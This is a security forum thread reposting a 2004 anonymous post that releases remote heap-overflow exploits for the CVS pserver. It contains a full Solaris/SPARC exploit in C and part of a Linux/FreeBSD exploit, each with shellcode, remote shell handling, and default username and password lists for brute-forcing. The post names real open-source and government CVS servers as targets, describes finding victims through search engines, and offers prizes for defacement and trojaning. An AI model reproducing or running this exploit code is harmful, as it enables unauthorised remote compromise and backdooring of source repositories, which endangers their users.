hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

qcred11
QUOTE


Date: 20 May 2004 01:19:15 -0000
From: anonymous
Subject: Declaring Open Season on Open Source

Hi, consider this an iALERT

Today a nice vulnerability in the CVS was published, this sucks.
Here are some exploits for that vulnerability.
They will exploit any Linux / FreeBSD / Solaris box running CVS.
(The Solaris one is very slow, your bitching, I'd like to see you write it.)

We already owned everyone and everything with these exploits years ago, and in 
fact we've all had them sitting on the shelf gathering dust due to lack of
new targets.

FUN TESTBED IDEAS:
cvs.apache.org
cvs.perl.com
cvshome.org <-- PLAY "FIND THE SUCKIT"
anoncvs.freebsd.org <-- ls -al /tmp to see how many people who can't hack own
+this already
cvs.kernel.org
*.gnu.org
*.debian.org
www.openbsd.org <-- TRIPPLE HEAP SOLARIS OWNAGE - THEO IS TOAST

HOW TO FIND VICTIMS:
google for "[anon/cvs/anonymous/etc] pserver"

.gov and .mil cvs trees are fun

I wonder how long it'll take everyone to remove all the SUCKits

Prizes may be given for the most imaginative defacement / trojaning.

Finally a big thank-you to Steffen Esser of Team TESO Security for being such an
+amazing whitehat and providing the public with such great Security Product.

- The Axis of Eliteness - WARNING - THE AXIS HAZ ACCESS
/* Napoleon Solo - Solaris / SPARC CVS exploit */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <netdb.h>
#include <errno.h>
#include <sys/time.h>
#include <fcntl.h>
#include <zlib.h>

#define CVS_PORT 2401
#define RET 0xffbffd20
#define NOP 0x82102017
#define ROUND(s)        if (s % word_size) s += (word_size - (s % word_size))

unsigned char *root;
unsigned char *user;
unsigned char *pass;
unsigned char *scrambled;
unsigned char *reposit;
unsigned char *directory;
unsigned char buf[512];
unsigned char *host;
unsigned int  rport, port;
unsigned int target;
z_stream zout;
z_stream zin;
unsigned char zbuf[65536 * 4];
unsigned int zbufpos, zsent = 0;
unsigned int word_size = 8, fill_size;
unsigned int len1, len2, len3;
unsigned int oflip, change, retaddr;

char entry1[64], entry2[64], entry3[64];

struct expl {
        char            *name;
                unsigned int    retadd;
} serve[] = {
{ "cvs-1.11.1p1 - Solaris9 / SPARC", 0xd4cc8},
{ "cvs-1.12.2 - Solaris9 / SPARC", 0xd7ae8 + 8192},
{ "cvs-1.9.28 - Solaris 9 / SPARC", 0xd25b8},
{ "Crash server", 0x41414141},
{ "Crash server 2", 0x77777777},
{ "Stack ret test", 0xffbffd20},
{ "Heap ret test", 0x00031337},
{ NULL, 0}
};

char shellcode[]=
    "\x21\x18\xd8\x58"    // sethi  %hi(0x63616000), %l0
    "\xa0\x14\x23\x61"    // or  %l0, 0x361, %l0
    "\x90\x10\x20\x01"    // mov  1, %o0
    "\x92\x0b\x80\x0e"    // and  %sp, %sp, %o1
    "\x94\x10\x20\x04"    // mov  4, %o2
    "\x82\x10\x20\x04"    // mov  4, %g1
    "\x91\xd0\x20\x08"    // ta  8
/* lsd shellcode. */
    "\x20\xbf\xff\xff"    /* bn,a    <shellcode-4>        */
    "\x20\xbf\xff\xff"    /* bn,a    <shellcode>          */
    "\x7f\xff\xff\xff"    /* call    <shellcode+4>        */
    "\x90\x03\xe0\x20"    /* add    %o7,32,%o0          */
    "\x92\x02\x20\x10"    /* add    %o0,16,%o1          */
    "\xc0\x22\x20\x08"    /* st      %g0,[%o0+8]          */
    "\xd0\x22\x20\x10"    /* st      %o0,[%o0+16]        */
    "\xc0\x22\x20\x14"    /* st      %g0,[%o0+20]        */
    "\x82\x10\x20\x0b"    /* mov    0xb,%g1              */
    "\x91\xd0\x20\x08"    /* ta      8                    */
    "/bin/ksh";

char *scramble(char * str);

void handler(int sig)
{
    signal(SIGPIPE, handler);
}

/* 
* This function reads from socket s until either max bytes are read,
* a newline is read, or timeout seconds elapse with no data over the
* socket.
*  return values:
*    -2: timeout
*    -1: error
*    0: connection closed
*    x: normal success, x bytes read
*/
int timeout_read(int s, char *buf, int max, int timeout)
{
    int total = 0;
    int r = 0;
    int s_flags;
    char c;
    struct timeval to;
    fd_set rset;
   
    memset(&to, '\0', sizeof(to));
    to.tv_sec = timeout;
    to.tv_usec = 0;
   
    s_flags = fcntl(s, F_GETFL, 0);
    fcntl(s, F_SETFL, s_flags | O_NONBLOCK);

    while(total < max)
    {
FD_ZERO(&rset);
FD_SET(s, &rset);
select(s + 1, &rset, NULL, NULL, &to);

if (FD_ISSET(s, &rset))
{
    r = read(s, &c, 1);
    total += r;

    if(r == -1)
    {
  if (errno != EWOULDBLOCK)
  {
      fcntl(s, F_SETFL, s_flags);
      return -1;
  }
  else
      continue;
    }
    else if(r == 0)
    {
  fcntl(s, F_SETFL, s_flags);
  return 0;
    }
    else /* r == 1 */
    {
  buf[total-1] = c;
  if(c == '\n')
      break;
    }
   
}
else
{
    fcntl(s, F_SETFL, s_flags);
    return -2;
}
    }
   
    fcntl(s, F_SETFL, s_flags);
    return total;
}

void zflush(int sockfd)
{
    static char        outbuf[65536];

    zout.next_in = zbuf;
    zout.avail_in = zbufpos;

    do {
        zout.next_out = outbuf;
        zout.avail_out = sizeof(outbuf);
        if(deflate(&zout, Z_PARTIAL_FLUSH) == -1)
        {
  printf("[--] Compression error.\n");
  exit(1);
}
        zsent += sizeof(outbuf) - zout.avail_out;
        write(sockfd, outbuf, sizeof(outbuf) - zout.avail_out);
    } while (zout.avail_in != 0);

    zbufpos = 0;

    return;
}

int zwrite(char *buf, int len, int sockfd)
{
    if ((sizeof(zbuf) - zbufpos) < (len))
        zflush(sockfd);

    memcpy(zbuf + zbufpos, buf, len);
    zbufpos += len;

    if (zbufpos >= sizeof(zbuf))
    {
printf("[--] zwrite compression error.\n");
exit(1);
    }

    return (len);
}

int zgetch(int sockfd)
{
    static char        * outbuf = NULL;
    static int          outpos = 0, outlen = 0;
    static char        rcvbuf[32768];
    static char        dbuf[4096];
    int                got;

  retry:
    if (outpos < outlen && outlen)
        return outbuf[outpos++];
    free(outbuf);
    outlen = 0;
    outbuf = NULL;
    got = read(sockfd, rcvbuf, sizeof(rcvbuf));
    if (got <= 0)
    {
printf("[--] Socket error.\n");
exit(1);
    }
    zin.next_in = rcvbuf;
    zin.avail_in = got;
    while (1)
        {
          int status, dlen;

            zin.next_out = dbuf;
            zin.avail_out = sizeof(dbuf);
            status = inflate(&zin, Z_PARTIAL_FLUSH);
            switch (status)
                {
                case Z_OK:
                    outpos = 0;
                    dlen = sizeof(dbuf) - zin.avail_out;
                    outlen += dlen;
                    outbuf = realloc(outbuf, outlen);
                    memcpy(outbuf + outlen - dlen, dbuf, dlen);
                    break;
                case Z_BUF_ERROR:
                    goto retry;
                default:
                    printf("[--] Revc inflate error.\n");
                }
        }
}

char *zgets(int sockfd)
{
    static char        buf[32768];
    char                * p = buf;
    int                c;

    while (1)
        {
            c = zgetch(sockfd);
            if (c == '\n')
                break;
            *p++ = c;
            if (p > buf + sizeof(buf))
                {
                    p--;
                    break;
                }
        }
    *p = 0;
    return (buf);
}

int do_compression(int s)
{
char buf[3000];
int term = 0, i = 0;

deflateInit(&zout, 1);
        inflateInit(&zin);

memset(buf, 0x0, 300);
sprintf(buf, "Gzip-stream 1\n");

write(s, buf, strlen(buf));
}

int do_auth(int s)
{
char* str = malloc(50000);
        if(str == 0)
        {
            perror("malloc");
            exit(1);
        }
strcpy(str, "BEGIN AUTH REQUEST");
strncat(str, "\n", 1);
strncat(str, reposit, strlen(reposit));
strncat(str, "\n", 1);
strncat(str, user, strlen(user));
strncat(str, "\n", 1);
scrambled = scramble(pass);
strncat(str, scrambled, strlen(scrambled));
strncat(str, "\n", 1);
strncat(str, "END AUTH REQUEST", 16);
strncat(str, "\n", 1);
write(s, str, strlen(str));
free(str);

return 0;
}

int do_root(int s)
{
char* str = malloc(5000);

        bzero(str, 5000);
strncat(str, "Root ", 5);
strncat(str, root, strlen(root));
strncat(str, "\n", 1);
write(s, str, strlen(str));
free(str);

return 0;
}

int do_sized_entry(int s, char *e1, char *e2, int size)
{
char *str = malloc(size * 2);
char *tmp = malloc(size);
int x = 0;
int term = 0;

if(str == 0 || tmp == 0 || size < (strlen(e1) + strlen(e2) + 4))
{
  return;
}

bzero(str, size*2);
bzero(tmp, size);
sprintf(tmp, "Entry /%s/%s/", e1, e2);
strcat(str, tmp);
term = strlen(str);

x = term;
while(x < (size - 1))
            str[x++] = 0xff;

strcat(str, "\n");

str[term] = 0;

write(s, str, size);
free(str);

return(0);
}

int normalize_heap(int sockfd)
{
int i;
char buff[8192 + 128];

memset(buff, 0x0, 8192 + 128);
memset(buff, 0x62, 8190);
memcpy(buff, "Argument ", 9);
strcat(buff, "\n");
buff[72] = 0;

for( i = 0 ; i < 128 ; i++)
{
  write(sockfd, buff, 8191);
}

memset(buff, 0x0, 8192 + 128);
memset(buff, 0x62, 8190);
memcpy(buff, "Argument ", 9);
strcat(buff, "\n");
buff[65] = 0;

for(i = 0 ; i < 64 ; i++)
{
  write(sockfd, buff, 8191);
}

memset(buff, 0x0, 8192 + 128);
        memset(buff, 0x62, 8190);
        memcpy(buff, "Argument ", 9);
        strcat(buff, "\n"); 
buff[44] = 0;

for(i = 0 ; i < 32 ; i++)
{
  write(sockfd, buff, 8191);
}
memset(buff, 0x0, 8192 + 128);
        memset(buff, 0xff, 8193);
        memcpy(buff, "Argument ", 9);
        strcat(buff, "\n"); 

write(sockfd, buff, 8194);
}

int correctly_fill_hole(int sockfd, int fill)
{
int chunk_size, chunk_size2;
int num_chunks;
int leftover, i = 0;
char buf[256];
char pad[1024];
char buff[2048];
unsigned long addr = RET;
char addrbuf[4096];

chunk_size = (1024 + word_size);
num_chunks = (fill / chunk_size);
leftover = (fill % chunk_size);

memset(pad, 0x0, 1024);
memset(pad, 0x88, ((1024 - 8) / 2));
memset(buff, 0x0, 2048);

        /* The exploit will almost certainly fail if leftover == 0
        * however in theory this should never actually happen.
        */
if(leftover == 0)
{
  for(i = 0; i < num_chunks && fill > 0; i++)
  {
          do_sized_entry(sockfd, pad, pad, fill - (1024 + word_size));
    fill -= (1024 + word_size);
  }
}
else
{
  for(i = 0; i < (num_chunks -2) && fill > 0; i++)
  {
          do_sized_entry(sockfd, pad, pad, fill - (1024 + word_size));
    fill -= (1024 + word_size);
  }
  chunk_size2 = (chunk_size * 2 + leftover);
  ROUND(chunk_size2);
  memset(buff, 0x0, 2048);
  memset(buff, 0xff, (chunk_size2 - 8) / 2);
  memset(addrbuf, 0x0, sizeof(addrbuf));
  for(i = 0 ; i < (((chunk_size2 - 8) / 2) -4) ; i += 4) 
      *(int *)&addrbuf[i] = htonl(RET);

  memcpy(buff+1, addrbuf, strlen(addrbuf));
  do_sized_entry(sockfd, buff, buff, 4096);
}

memset(buff, 0x0, 2048);
memset(buff, 0xff, 34);

memset(addrbuf, 0x0, sizeof(addrbuf));
for(i = 0; i < 28; i+=4)
    *(int *)&addrbuf[i] = htonl(RET);

memcpy(buff+7, addrbuf, strlen(addrbuf));

do_sized_entry(sockfd, buff, buff, 97);
}

int do_ismodified(int s, char *e1)
{
char *str = (char *) malloc(100000);
int x = 0, term = 0;

        bzero(str, 100000);

sprintf(str,"Is-modified %s\n", e1);

zwrite(str, strlen(str), s);
zflush(s);

free(str);

return 0;
}

int do_argument(int sockfd)
{
char *exp;

exp = (char *) malloc(20000);

memset(exp, 0x0, 20000);
memset(exp, 0x69, 19680 + strlen("Argument "));

memcpy(exp, "Argument ", strlen("Argument "));

exp[19680 + strlen("Argument ")] = '\n';

write(sockfd, exp, strlen(exp));

return(0);
}

int do_resize(int sockfd)
{
char buffer[256];
int x = 0;
memset(buffer, 0x0, 256);
memset(buffer, 0xff, 255);

buffer[254] = '\n';

memcpy(buffer, "Argumentx ", strlen("Argumentx "));

buffer[74 + 44] = 0;

zwrite(buffer, 255, sockfd);
zflush(sockfd);
}

int do_overflow(int sockfd)
{
char buffer[20000];
int i = 0;

memset(buffer, 0x0, 20000);
memset(buffer, 0x42, 19782);

for(i = 0 ; i < 19780-8; i+=4)
    *(unsigned int *)&buffer[i] = htonl(retaddr);

for(i = 0; i < 19600; i+=4)
          *(unsigned int *)&buffer[i] = htonl(NOP);

        memcpy(buffer+19000, shellcode, strlen(shellcode));

memcpy(buffer, "Argument ", strlen("Argument "));
buffer[19781] = '\012';

zwrite(buffer, 19782, sockfd);
zflush(sockfd);
}

int work_around_zlib_bug(int sockfd)
{
char buffer[4096];
char data[64];

memset(data, 0x0, 64);
memset(data, 0x42, 32);

memset(buffer, 0x0, 4096);
memset(buffer, 0x42, 4000);

sprintf(buffer, "Entry /%s/%s/", data, data);

buffer[2999] = '\n';

zwrite(buffer, 3000, sockfd);
zflush(sockfd);
}

unsigned char auth_shifts[] ={
  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15,
  16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87,
111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105,
  41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35,
125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56,
  36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48,
  58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223,
225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190,
199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193,
174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212,
207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246,
192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176,
227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127,
182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195,
243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 };

char *scramble(char * str)
{
int i;
    char * s;
               
    s = (char *) malloc (strlen (str) + 3);
    memset(s, '\0', strlen(str) + 3);
    *s = 'A';
    for (i = 1; str[i - 1]; i++)
        s[i] = auth_shifts[(unsigned char)(str[i - 1])];
    return (s);
}

int usage(char *name)
{
printf("usage: %s [options]\n", name);
        printf("Options:\n");
        printf("  -t    Desired target\n");
        printf("  -r    CVS root\n");
        printf("  -u    CVS user\n");
        printf("  -p    Password\n");
        printf("  -h    Targeted host\n");
        printf("  -P    Port running CVS\n");
           
        printf("\nAvailable targets:\n");
        for (target = 0; serve[target].name != NULL; target++)
        printf("[%i] - %s\n", target, serve[target].name);
        exit(0);
}

int do_shell(int sockfd)
{
while(1)
        {
            fd_set fds;
            FD_ZERO(&fds);
            FD_SET(0,&fds);
            FD_SET(sockfd,&fds);
            if(select(FD_SETSIZE,&fds,NULL,NULL,NULL))
            {
              int cnt;
              char buf[1024];
              if(FD_ISSET(0,&fds))
              {
                  if((cnt=read(0,buf,1024))<1)
                  {
                    if(errno==EWOULDBLOCK||errno==EAGAIN)
                      continue;
                    else
                      break;
                  }
                  write(sockfd,buf,cnt);
              }
              if(FD_ISSET(sockfd,&fds))
              {
                  if((cnt=read(sockfd,buf,1024))<1)
                  {
                      if(errno==EWOULDBLOCK||errno==EAGAIN)
                        continue;
                      else
                        break;
                  }
                  write(1,buf,cnt);
              }
            }
        }             
}

int main(int argc, char *argv[])
{
int i, sockfd, len, result,x;
        char c;
struct sockaddr_in addr;
struct hostent *hostinfo;

if(argc == 1)
{
        usage(argv[0]);   
        }

port = CVS_PORT;
        while((c = getopt(argc, argv, "t:r:u:d:p:h:")) != EOF)
        {
        switch©
                {
                      case 't':
                        target = atoi(optarg);
                        break;
                      case 'r':
                        root = strdup(optarg);
                        reposit = strdup(optarg);
                        break;
                      case 'u':
                        user = strdup(optarg);
                        break;
                      case 'd':
                        directory = strdup(optarg);
                        break;
                      case 'p':
                        pass = strdup(optarg);
                        break;
                      case 'h':
                        host = strdup(optarg);
                        break;
                      default:
          usage(argv[0]);
        }                 
}

hostinfo = gethostbyname(host);
if(!hostinfo)
{
  perror("gethostbyname()");
  exit(0);
}

sockfd = socket(AF_INET, SOCK_STREAM, 0);

addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr = *(struct in_addr *)*hostinfo -> h_addr_list;
len = sizeof(addr);

printf("Attacking %s running %s\n", host, serve[target].name);
printf("[");
fflush(stdout);

retaddr = serve[target].retadd;

    while(1)
    {
sockfd = socket(AF_INET, SOCK_STREAM, 0);
result = connect(sockfd, (struct sockaddr *)&addr, len);
if(result == -1)
{
  perror("connect()");
  exit(0);
}

do_auth(sockfd);
timeout_read(sockfd, buf, sizeof(buf)-1, 3);
do_root(sockfd);

normalize_heap(sockfd);

do_argument(sockfd);
       
        fill_size = 19680;

memset(entry1, 0x41, 60);
memset(entry2, 0x42, 60);
memset(entry3, 0x43, 60);

do_sized_entry(sockfd, entry1, entry1, fill_size - (128+word_size) );
        fill_size -= (128 + word_size);
        do_sized_entry(sockfd, entry2, entry2, fill_size - (128+word_size) );
        fill_size -= (128 + word_size);
        do_sized_entry(sockfd, entry3, entry3, fill_size - (128+word_size) );
        fill_size -= (128 + word_size);
   
correctly_fill_hole(sockfd, fill_size - (64 + word_size));
     
do_compression(sockfd);

len1 = ( 5 + 4 + 16);
        len2 = ( 144 + 8 + 5 + 1);
len3 = ( 144 + 8 + 128 + 8 + 5 + 0);

for(i = 0; i < len1; i++)
            do_ismodified(sockfd, entry1);

for(i = 0; i < len2; i++)
            do_ismodified(sockfd, entry2);

for(i = 0; i < len3; i++)
            do_ismodified(sockfd, entry3);

work_around_zlib_bug(sockfd);

do_resize(sockfd);

        do_overflow(sockfd);

printf(".");
fflush(stdout);

while(1)
{
    result = timeout_read(sockfd, buf, 4, 5);
    if(result == -1 || result == 0)
    {
  break;
    }
      if(result == -2)
    {
  printf("\n Timeout... trying for shell\n");
  do_shell(sockfd);
  break;
    }
/* Maybe use strstr and a larger read buffer here ? */
    if(strncmp(buf, "caca", 4) == 0)
    {
  printf("]\n");
  printf("[+] 0wned!@ With retaddr = 0x%x\n", retaddr);
  do_shell(sockfd);
  exit(0);
    }
}

change += 12000;

        if(oflip == 0)
        {
            retaddr = serve[target].retadd + change;
            oflip = 1;
        }
        else if(oflip == 1)
        {
            retaddr = serve[target].retadd - change;
            oflip = 0;
        }

close(sockfd);
    }
}

/* TRIPLE OVERFLOW HEAP SOLARIS OWNAGE THEO IS TOAST */   

setthesun
That's horrible this guy is saying "we owned all of them years ago" !

WTF, they can modify source codes of all our open source softwares.

cvs.kernel.org ? bah...
Gurou
anyone tested this ?
brOmstar
here is the linux version

CODE
/* Linux / FreeBSD CVS exploit - January 2001 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <netdb.h>
#include <errno.h>
#include <sys/time.h>
#include <zlib.h>

typedef unsigned char   uchar;

void                    progress(void);
int                     brute_cvsroot(void);
int                     brute_username(void);
int                     brute_password(void);
void                    hdl_crashed(int);
void                    bsd_exploitation(void);
void                    try_exploit(void);
void                    zflush(int);
int                     zprintf(char *, ...);
int                     zgetch(void);
void                    start_gzip(void);
void                    fill_holes(void);
char                    * zgets(void);
void                    evil_entry(void);
void                    linux_exploitation(ulong, int);
void                    do_dicotomie(void);
void                    do_xploit(void);
char                    * flush_sock(void);
void                    usage(char *);
long                    getip(char *);
void                    try_oneshoot(void);
int                     connect_to_host(char *, int);
int                     write_sock(void *, int);
int                     read_sock(void *, int);
void                    nopen(char *, int);
char                    * ngets(void);
void                    memcpy_flush(void);
void                    cvs_conn(void);
int                     detect_remote_os(void);
void                    memcpy_remote(ulong, ulong, uchar *, int);
void                    memcpy_addr(ulong, ulong, int);
void                    nclose(void);
char                    * scramble(char *);
int                     sh(int);

struct array
{
   char        * name;
   int         id;
};

struct array CVSROOTS[]=
{
   {   "/cvs"                  ,       -1      },
   {   "/cvsroot"              ,       -1      },
   {   "/var/cvs"              ,       -1      },
   {   "/anoncvs"              ,       -1      },
   {   "/repository"           ,       -1      },
   {   "/home/CVS"             ,       -1      },
   {   "/home/cvspublic"       ,       -1      },
   {   "/home/cvsroot"         ,       -1      },
   {   "/var/lib/cvs"          ,       -1      },
   {   "/var/cvsroot"          ,       -1      },
   {   "/usr/lib/cvs"          ,       -1      },
   {   "/usr/CVSroot"          ,       -1      },
   {   "/usr/share/cvsroot"    ,       -1      },
   {   "/usr/local/cvsroot"    ,       -1      },
   {   "/usr/local/cvs"        ,       -1      },
   {   "/webcvs"               ,       -1      },
   {   NULL                    ,       -1      },
};

struct array USERNAMES[]=
{
   {   "anonymous"     ,       -1      },
   {   "anoncvs"       ,       -1      },
   {   "cvsread"       ,       -1      },
   {   "anon"          ,       -1      },
   {   "cvs"           ,       -1      },
   {   "guest"         ,       -1      },
   {   "reader"        ,       -1      },
   {   "cvslogin"      ,       -1      },
   {   "anon-cvs"      ,       -1      },
   {   NULL            ,       -1      },
};

struct array PASSWORDS[]=
{
   {   ""              ,       -1      },
   {   " "             ,       -1      },
   {   "anonymous"     ,       -1      },
   {   "anoncvs"       ,       -1      },
   {   "anon"          ,       -1      },
   {   "cvs"           ,       -1      },
   {   "guest"         ,       -1      },
   {   NULL            ,       -1      },
};

#define HIGH_STACK      0xbfffffc0
#define LOWER_STACK     0xbfffd000
#define DEFAULT_ADDR    0xbffffd00
#define RANGE_VALID     0xbffffe00
#define DUMMY_ADDR      0x42424242
#define LINUX_ADDR      0xbfffe200
#define LINUX_SIZE      0x2000
#define HEAPBASE        0x082c512e

#define DEFAULT_TIMEOUT 20
#define TIMEOUT         DEFAULT_TIMEOUT
#define CMD             "export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:" \
                       "/usr/local/bin:/usr/local/sbin;alias ls='ls --color';"\
                       "unset HISTFILE;ABrox=`pwd`;cd /;echo RM -RF $ABrox;"\
                       "echo ---YOU ARE IN BRO : `hostname`---\nw;alias c=clear\n"
#define VERT            "\033[32m"
#define NORM            "\033[0m"
#define INFO            ""
#define BAD_TRIP        "WRONG !\n"
#define GOOD_TRIP       VERT"FOUND"NORM" !\n"
#define QUIT(x...)      { printf(x); exit(0); }
#ifdef  DEBUGMSG
#define DEBUG(x...)     fprintf(stderr, x)
#else
#define DEBUG(x...)
#endif
#define info(fmt...)    fprintf(stderr, INFO""fmt)
#define aff(fmt...)     fprintf(stderr, fmt)
static char             tmpbuf[32000];
#define nprintf(fmt...) { snprintf(tmpbuf, sizeof(tmpbuf), fmt); \
                       write_sock(tmpbuf, strlen(tmpbuf)); }
#define nwrite(buf, cn) write_sock(sock, buf, cn)
#define nread(buf, cn)  read_sock(sock, buf, cn)
#define NHOLES          (256 - 31)
#define SCNUM           128
#define SCSIZE          32766
#define OFFSET          106
#define ALIGN(x, y)     ((x % y) ? x + (x % y) : x)
#define SET_FD(x)       (x - CHUNK_BK)
#define SET_BK(x)       (x - CHUNK_FD)
#define UNSET_BK(x)     (x + CHUNK_FD)
#define UNSET_FD(x)     (x + CHUNK_BK)
#define MAX_FILL_HEAP   200
#define NUM_OFF7        (sizeof("Entry "))
#define MSIZE           0x4c
#define MALLOC_CHUNKSZ  8
#define AN_ENTRYSZ      8
#define MAGICSZ         ((MALLOC_CHUNKSZ * 2) + AN_ENTRYSZ)
#define FAKECHUNK       MSIZE - MAGICSZ + (NUM_OFF7 - 1)
#define SIZEBUF         FAKECHUNK + 16
#define SIZE_VALUE      -8
#define CHUNK_PSIZE     0
#define CHUNK_SIZE      4
#define CHUNK_FD        8
#define CHUNK_BK        12
#define OVERFLOW_NUM    8
#define DEFAULT_SIZE    0x300
#define SHELLCODE_OFF   0x142
#define SHELLCODE_ADDR  (addr - SHELLCODE_OFF)
#define DUMMY2          "timetosleep"
#define DUMMY           "theosuxdick"
#define MAGICSTRING     "abroxyou"
#define ABMAGIC         "-AB-"
#define ABMAGICSZ       sizeof(ABMAGIC) - 1
#define EXPLOITROX      "\t@#!@"VERT"SUCCESS"NORM"#@!#\n\n"
#define PCNT            20
#define CVS_PORT        2401
#define CVS_LOGIN       "BEGIN AUTH REQUEST\n%s\n%s\n%s\n"\
                       "END AUTH REQUEST\n"
#define CVS_VERIF       "BEGIN VERIFICATION REQUEST\n%s\n%s\n%s\n"\
                       "END VERIFICATION REQUEST\n"
#define CVS_SEND_ROOT   "Root %s\n"
#define CVS_GET_VERSION "version\n"
#define CVS_FLUSH       "\nnoop\nnoop\n"
#define CVS_AUTH_FAILED "I HATE YOU"
#define CVS_AUTH_SUCCESS        "I LOVE YOU"
#define CVS_BAD_REP     "no such repository"
#define CVS_NO_USER     "no such user"
#define CVSENTRY        "Entry "
#define CVS_ISMOD       "Is-modified "
#define CVS_ISMODSZ     sizeof(CVS_ISMOD) - 1
#define CVS_UNKNOW      "unrecognized request"
#define CVS_ERROR       "error"
#define CVS_ERROR2      "E "
#define CVS_GZIP        "Gzip-stream "
#define CVS_OK          "ok"
#define BANNER          VERT"Ac1dB1tCh3z "NORM"(C)VS linux/*BSD pserver\n"
#define ERR_CVSROOT     "unable to found a valid cvsroot\n"
#define ERR_USERNAME    "unable to found a valid username\n"
#define ERR_PASSWORD    "unable to found a valid password\n"
#define ERR_FAILURE     "Is remote really linux/bsd without security patch ?\n"
#define ERR_AUTHFAILED  "Fatal: authentification failure..\n"
#define ERR_ZPRINTF     "Too long zprintf (something is broken) !\n"
#define ERR_INFLATE     "Inflate error\n"
#define ERR_CONN        "cannot connect\n"
#define ERR_GETIP       "cannot resolve\n"
#define ERR_READSOCK    "cannot read data\n"
#define ERR_WRITESOCK   "cannot write data\n"
#define SUCCESS_LOGON   VERT"Ok"NORM", we log in (user:%s, pass:%s, cvsroot:%s)"
#define bad_addr(x)     (((x >> 8)&0xFF) == '\n' || ((x >> 8)&0xFF)=='\0'\
                       || (x & 0xFF) == '\n' || (x & 0xFF) == '\0' || \
                       (x & 0xFF) == '/' || ((x >> 8) & 0xFF) == '/' || \
                       (x & 0xFF) == '\012' || ((x >> 8) & 0xFF) == '\012')
/* 0h j3sus */
char                    zbuf[65536 * 4];
int                     zbufpos;
int                     cur_num         = 0;
int                     is_scramble     = 0;
int                     detectos        = 0;
int                     sock            = 0;
int                     port            = CVS_PORT;
ulong                   saddr           = DEFAULT_ADDR;
uint                    size            = DEFAULT_SIZE;
int                     timeout         = DEFAULT_TIMEOUT;
int                     scnum           = SCNUM;
ulong                   heapbase        = HEAPBASE;
int                     isbsd           = 0;
int                     usent           = 0;
int                     zsent           = 0;
char                    *root          = NULL;
char                    *user          = NULL;
char                    *pass          = NULL;
char                    *host          = NULL;
z_stream                zout;
z_stream                zin;
/*
** write(1, "abroxyou", 8) / setuid(0) / execve / exit;
** Linux only
*/
uchar                   ab_shellcode[] =
"\xeb\x15\x42\x4c\x34\x43\x4b\x48\x34\x37\x20\x34\x20\x4c\x31\x46\x33"
"\x20\x42\x52\x4f\x21\x0a\x31\xc0\x50\x68\x78\x79\x6f\x75\x68\x61\x62"
"\x72\x6f\x89\xe1\x6a\x08\x5a\x31\xdb\x43\x6a\x04\x58\xcd\x80\x6a\x17"
"\x58\x31\xdb\xcd\x80\x31\xd2\x52\x68\x2e\x2e\x72\x67\x58\x05\x01\x01"
"\x01\x01\x50\xeb\x12\x4c\x45\x20\x54\x52\x55\x43\x20\x43\x48\x45\x4c"
"\x4f\x55\x20\x49\x43\x49\x68\x2e\x62\x69\x6e\x58\x40\x50\x89\xe3\x52"
"\x54\x54\x59\x6a\x0b\x58\xcd\x80\x31\xc0\x40\xcd\x80";
/*
** setuid(geteuid()) / write(1, "-AB-", 4) / dup2 / execve
** Linux/BSD
*/
uchar                   xx_shellcode[] =
"\x6a\x1b\x58\x31\xdb\xcd\x80\x85\xc0\x74\x42\x6a\x19\x58"
"\x50\xcd\x80\x50\x6a\x17\x58\x50\xcd\x80\x68\x2d\x41\x42"
"\x2d\x89\xe3\x6a\x04\x58\x50\x53\x6a\x01\x50\xcd\x80\x6a"
"\x02\x6a\x01\x50\xb0\x5a\xcd\x80\x31\xc0\x50\x68\x6e\x2f"
"\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x50"
"\x51\x53\x50\xb0\x3b\xcd\x80\x6a\x31\x58\xcd\x80\x93\x6a"
"\x17\x58\xcd\x80\x6a\x04\x58\x6a\x01\x5b\x68\x2d\x41\x42"
"\x2d\x89\xe1\x89\xc2\xcd\x80\xb0\x3f\x6a\x01\x5b\x6a\x02"
"\x59\xcd\x80\x31\xc0\x99\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x00";

void                    usage(char * base)
{
   printf("Us4g3 : r34d 7h3 c0d3 d00d;P\n");
   exit(0);
}

int                     main(int ac, char **av)
{
   int                 c;

   setbuf(stdout, NULL);
   setbuf(stderr, NULL);
   printf(BANNER);
   while ((c = getopt(ac, av, "r:u:p:h:P:s:S:t:iRbo:n:")) != EOF)
       {
           switch(c)
               {
               case 'b':
                   isbsd++;
                   break;
               case 'R':
                   detectos++;
                   break;
               case 'r':
                   root = strdup(optarg);
                   break;
               case 'i':
                   is_scramble = 1;
                   break;
               case 's':
                   saddr = strtoul(optarg, 0, 0);
                   break;
               case 't':
                   timeout = strtoul(optarg, 0, 0);
                   break;
               case 'S':
                   size = strtoul(optarg, 0, 0);
                   break;
               case 'u':
                   user = strdup(optarg);
                   break;
               case 'p':
